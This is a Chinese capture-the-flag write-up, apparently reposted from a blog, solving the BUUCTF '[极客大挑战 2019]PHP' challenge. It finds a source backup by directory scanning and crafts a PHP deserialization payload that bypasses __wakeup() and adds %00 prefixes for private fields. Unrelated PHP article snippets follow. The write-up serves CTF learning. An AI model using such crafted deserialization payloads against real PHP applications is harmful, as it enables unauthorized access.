首页 > 编程语言 >buu [极客大挑战 2019]PHP

buu [极客大挑战 2019]PHP

时间:2023-04-27 17:58:14浏览次数:33  
标签:__ 极客 14 admin 序列化 2019 100 PHP Name

打开网页,发现重点是网页备份,所以使用dirsearch进行扫描,20分钟后扫出结果,发现www.zip文件
image

解压后查看index.php,看到页面通过get方法获得select的值,并将其反序列化,传给变量res
image

查看class.php,只有username='admin'且password=100时,执行__destruct()时会输出flag。__destruct()是php中的一个魔术方法,当一个对象不再被引用且没有被关联到其他变量时,PHP 的垃圾回收机制将会对其进行回收并销毁,这时就会自动调用 __destruct() 函数。

image

我们获得序列化后的对象

var_dump(serialize(new Name('admin',100)));

输出如下

string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}" 

# 解释
O:4:"Name" : // 表示一个类型为 object、类名为 Name、序列化后长度为 4 字节的对象
2:{         // 表示该对象包含两个字段
  s:14:"Nameusername";  // 第一个字段名为 Nameusername,长度为 14 字节
  s:5:"admin";          // 第一个字段的值为字符串 "admin",长度为 5 字节
  s:14:"Namepassword";  // 第二个字段名为 Namepassword,长度为 14 字节
  i:100;                // 第二个字段的值为整数 100
}

尝试get请求,但是失败。这是因为php在执行unserialize()前会先检查是否存在__wakeup()方法,如果存在则会执行它,而该函数将用户名改成了guest。__wakeup()方法也是php中的一个魔术方法,php反序列化生成对象时,会先使用__construct()创建一个新的对象,然后使用__wakeup()对其进行初始化操作。

http://92daf906-cf88-4e98-9106-b67601822c20.node4.buuoj.cn:81/?select=O:4:%22Name%22:2:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

image

绕过__wakeup()的方法是让序列化后的对象的字段个数大于对象的真实字段个数,这样__wakeup()就没法执行了。这里把2改成3。

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后,由于username和password都是private字段,在序列化时需要在类名和字段名前面补%00前缀。(之前输出的序列化字符串里其实有%00,但是是不可打印字符,所以Nameusername的长度显示14字节,需要手动补充下)

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

即可获得flag
image

标签:__,极客,14,admin,序列化,2019,100,PHP,Name
From: https://www.cnblogs.com/nemuzuki/p/17359353.html

相关文章

  • Ueditor 富文本编辑器 插入 m3u8 和 mp4 视频(PHP)
    当前环境:PHP、Ueditor的版本是1.4.3新的需求是,需要在Ueditor富文本编辑器中,插入视频播放,并且视频格式有MP4,也有M3U8。百度编辑器默认的是embed,需要修改下配置。 ueditor.all.js和 ueditor.config.js这两个文件要改一些东西,具体我这里就不展示了,网上有很多文章都有写。这里......
  • PHP如何不显示 notice 和 warning警告信息
    检查语法与逻辑的时候没有发现问题,但是页面报出了警告Warning提示,这不仅影响到体验也是属于bug的一种形式,那么该如何设置去掉?php不显示警告的方法:首先找到对应的配置文件【php.ini】;然后查找【display_errors】属性;最后就将其修改为Off,并保存重启即可。方法一 1、首先确定好......
  • php 二维数组重组成父与子关系
    functionbuildTree(array$flat,$pidKey='pid',$idKey='id',$childrenKey='children'){$grouped=[];foreach($flatas$sub){$grouped[$sub[$pidKey]][]=$sub;}$fnBuilder......
  • 2023程序设计竞赛冲刺③(2019青岛市程序设计竞赛小学组)
    1.取余原题: 解题思路:这道题30%的数据可以开longlong去存储计算,但100%的数据最多有3000位,无法存储,所以可以运用同余的性质,(a*b)%p=(a%p*b%p)%pAC代码:#include<bits/stdc++.h>#definelllonglongusingnamespacestd;constintN=1e3+5,MOD=1e4+7;;lla[N],n,ans......
  • php升级 编译安装php7 支持openeuler欧拉
    php版本下载包查询:https://www.php.net/releases/ yum-yinstallcmakelibxml2libxml2-developensslopenssl-develcurl-devellibjpeg-devellibpng-develfreetype-devellibziplibzip-devellibsodiumsqlitesqlite-develonigurumaoniguruma-devellibwebp-devel......
  • 记php调用chatgpt接口
    $openai_api_key='your_openai_api_key_here';$engine='davinci';//ChatGPT中的AI模型名称$prompt='Hello,canyouhelpme?';//ChatGPT中的提示信息//构造请求数据$data=array('model'=>$engine,'prompt&#......
  • php 版本号对比,1.0.5和1.15.0
    $version1='1.0.5';$version2='1.15.0';//自定义比较函数functioncompare_versions($v1,$v2){$ver1=explode('.',$v1);$ver2=explode('.',$v2);//将每个版本号中的字符串转换为整数$ver1=array_map('intval&......
  • 编译部署LNMP-php8.1.18版本
    由于mysql编译会非常耗费资源,故咱们这里不做介绍,只介绍nginx的编译、php的编译以及nginx和php的联动,至于mysql如何接入,需要看具体业务,在LNMP中mysql是相对独立的,不需要特别的配置编译安装nginx新建www用户groupaddwwwuseradd-s/sbin/nologin-gwwwwww安装必要依赖yum......
  • PHP 中的默认(缺省)参数的函数
    前言在PHP中有一种函数,在调用的时候某些参数是可以缺省的,也就是说,在调用函数的时候可以传值,也可以不传值,如果在调用函数的时候传入具体的值就会使用传入的值,否则就会使用默认的值,默认的值在函数定义的时候就已经设置好,默认(缺省)参数的函数格式如下所示:mixedfunName(stringname,[,str......
  • PHP中的引用参数的函数
    前言php的引用(就是在变量或者函数、对象等前面加上&符号)在PHP中引用的意思是:不同的名字访问同一个变量内容。与C语言中的指针是有差别的。C语言中的指针里面存储的是变量的内容在内存中存放的地址,函数的引用返回多用在对象中引用参数的函数格式说明如下代码所示:voidfunName(array......